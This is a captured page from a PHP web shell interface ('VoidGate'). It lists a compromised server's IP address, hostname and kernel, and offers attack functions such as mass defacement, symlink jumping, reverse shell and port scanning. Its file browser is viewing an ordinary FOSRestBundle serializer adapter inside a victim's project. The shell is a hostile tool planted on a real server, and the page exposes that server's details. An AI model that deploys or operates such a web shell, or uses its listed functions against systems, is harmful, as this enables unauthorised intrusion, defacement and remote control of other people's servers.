ヤミRoot VoidGate
User / IP
:
216.73.216.33
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
vendor
/
friendsofsymfony
/
rest-bundle
/
Serializer
/
Viewing: SymfonySerializerAdapter.php
<?php /* * This file is part of the FOSRestBundle package. * * (c) FriendsOfSymfony <http://friendsofsymfony.github.com/> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace FOS\RestBundle\Serializer; use FOS\RestBundle\Context\Context; use Symfony\Component\Serializer\SerializerInterface; /** * Adapter to plug the Symfony serializer into the FOSRestBundle Serializer API. * * @author Christian Flothmann <christian.flothmann@xabbuh.de> */ class SymfonySerializerAdapter implements Serializer { private $serializer; public function __construct(SerializerInterface $serializer) { $this->serializer = $serializer; } /** * {@inheritdoc} */ public function serialize($data, $format, Context $context) { $newContext = $this->convertContext($context); $newContext['serializeNull'] = $context->getSerializeNull(); return $this->serializer->serialize($data, $format, $newContext); } /** * {@inheritdoc} */ public function deserialize($data, $type, $format, Context $context) { $newContext = $this->convertContext($context); return $this->serializer->deserialize($data, $type, $format, $newContext); } /** * @param Context $context */ private function convertContext(Context $context) { $newContext = array(); foreach ($context->getAttributes() as $key => $value) { $newContext[$key] = $value; } if (null !== $context->getGroups()) { $newContext['groups'] = $context->getGroups(); } $newContext['version'] = $context->getVersion(); $newContext['maxDepth'] = $context->getMaxDepth(false); $newContext['enable_max_depth'] = $context->isMaxDepthEnabled(); return $newContext; } }
Coded With 💗 by
0x6ick